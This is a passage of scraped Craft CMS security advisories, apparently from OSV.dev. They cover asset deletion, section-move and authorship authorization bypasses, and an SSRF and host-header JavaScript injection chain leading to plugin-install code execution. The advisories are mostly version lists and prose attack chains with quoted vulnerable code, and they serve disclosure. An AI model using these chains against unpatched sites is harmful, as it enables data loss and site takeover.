            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50280 GHSA-43cq-c2gq-pfpw Jul 02, 2026

Craft CMS: Authorization bypass in `entries/move-to-section` via missing target-section save check

Medium

Network Low Low None

Summary

The EntriesController::actionMoveToSection() endpoint checks only whether the current user can view the destination section, but it does not require permission to save entries into that section. A low-privileged authenticated control-panel user who can move an entry out of its current section can therefore move that entry into a different section where they have read access but no write access.

Details

The vulnerable route is implemented in EntriesController.php:465:

The destination check is only viewEntries:$section->uid . The source-entry gate is Entry::canMove(), which verifies whether the user can move the existing entry based on the source section:

This closes the exploit chain:

External source: authenticated CP request to entries/move-to-section.
Missing authorization check: destination section requires only viewEntries, not saveEntries.
Privileged sink: moveEntryToSection() rewrites sectionId and saves the entry into the unauthorized section.

Preconditions derived from the code:

The attacker is authenticated to the control panel.
Entry 345 is movable by the attacker from its current section.
The attacker can satisfy viewEntries on destination section 12.
The attacker does not have saveEntries:DESTINATION_UID, which is the missing check that makes the bypass possible.

Result:

The controller accepts the request because viewEntries:$section->uid passes.
Each source entry passes canMove() based on source-section permissions.
moveEntryToSection() updates the entry’s sectionId and saves it.
The entry is now located in a section where the attacker did not have write permission.

Impact

This breaks the intended section-level authorization model. A user with limited content permissions can inject or relocate content into a protected section, interfering with editorial boundaries, approval workflows, section-specific business logic, and content ownership expectations.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50279 GHSA-qq2c-2q8j-jh27 Jul 02, 2026

Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap

High

Network Low Low None

Summary

EntriesController::actionSaveEntry() performs entry-edit permission checks before request-controlled author changes are applied to the model. The subsequent author mutation path accepts attacker-supplied authors / author parameters and allows the change when the current user is one of the old authors. Because the controller does not re-run authorization after mutating the author list, a low-privileged user can reassign an entry’s authorship to another user without holding the dedicated peer-author-change permission.

Details

The control flow begins in EntriesController.php:249. actionSaveEntry() loads the entry and enforces edit permissions before calling _populateEntryModel():

public function actionSaveEntry(bool $duplicate = false): ?Response
{
    ...
    $entry = $this->_editableEntry($this->request->getBodyParam('entryId'), $siteId);
    ...
    $this->enforceEditEntryPermissions($entry, $duplicate);
    ...
    $this->_populateEntryModel($entry);
    ...
    $success = Craft::$app->getElements()->saveElement($entry);
}

The attacker-controlled source is in EntriesController.php:588:

$entry->setAttributesFromRequest(array_filter([
    'authorIds' => $this->request->getBodyParam('authors') ??
        $this->request->getBodyParam('author') ??
        $entry->getAuthorId() ??
        static::currentUser()->id,
]));

Entry::setAttributesFromRequest() in Entry.php:1124 extracts the new author IDs and applies them if canChangeAuthor() returns true:

if (
    ($authorIds !== null || $authorId !== null) &&
    $this->canChangeAuthor()
) {
    $this->_oldAuthorIds = $oldAuthorIds;
    $this->setAuthorIds($authorIds);
}

canChangeAuthor() at Entry.php:2789 allows the author change when the current user can view peer entries and is already one of the existing authors:

return (
    empty($authorIds) ||
    in_array($user->id, $authorIds) ||
    $user->can("changeAuthorForPeerEntries:$section->uid")
);

After the author list is mutated, the controller does not re-check authorization.

This closes the exploit chain:

External source: authenticated request to entries/save-entry with attacker-controlled authors[].
Trust boundary failure: authorization is checked on the pre-mutation entry state, not on the post-mutation author assignment.
Privileged sink: the author relationship is rewritten in persistent storage.

Preconditions derived from the source:

The attacker is authenticated and can edit entry 345.
The attacker is among the existing authors of entry 345, or otherwise satisfies canChangeAuthor() through the old author set.
The attacker has viewPeerEntries for the section.
User ID 1 exists and can be assigned as an author in that section.

Result:

enforceEditEntryPermissions() succeeds on the original entry state.
_populateEntryModel() reads authors[]=1 from the request body.
setAttributesFromRequest() updates authorIds because canChangeAuthor() is evaluated against the old authorship state.
saveElement() persists the change and _saveAuthors() rewrites the entry-author relation.
Entry 345 now appears authored by user 1.

Impact

This allows low-privileged users to falsify content ownership and alter the authorship of entries without having the dedicated author-management permission. The impact includes corrupted audit trails, misleading notifications, broken approval workflows, and unauthorized reassignment of content responsibility.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

CVE-2026-44012 GHSA-33m5-hqp9-97pw May 06, 2026

Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure

High

Network Low Low None

Summary

